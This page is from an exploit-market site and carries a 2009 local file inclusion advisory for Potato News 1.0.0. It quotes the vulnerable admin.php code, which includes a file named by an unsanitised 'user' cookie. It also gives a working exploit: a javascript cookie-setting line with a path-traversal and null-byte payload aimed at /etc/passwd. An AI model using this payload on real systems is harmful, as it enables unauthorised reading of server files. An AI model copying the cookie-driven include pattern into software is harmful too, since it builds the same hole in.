[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Potato News 1.0.0 (user) Local File Inclusion Vulnerability

Author
x0r
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4835
Category
web applications
Date add
10-02-2009
Platform
unsorted
===========================================================
Potato News 1.0.0 (user) Local File Inclusion Vulnerability
===========================================================


#########################################################################################
[0x01] Informations:

Name           : Potato News 1.0.0
Download       :
http://potato-news.googlecode.com/files/potatonews-1.0.0.zip
Vulnerability  : LFI
Author         : x0r
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
	<?PHP
if (isset($_COOKIE["user"])) {
$id = $_COOKIE["user"];
if (file_exists("data/users/$id.php")) {
include ("data/users/$id.php");
if ($usaavatar == "") {
echo "<img height='75px' width='75px' src='images/noav.jpg'/>";

} else {
echo "<img height='75px' width='75px' src='$usaavatar'/>";
}
}
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: javascript:document.cookie =
"user=../../../../../../../../../../etc/passwd%00; path=/"

########################################################################################



#  0day.today [2024-11-15]  #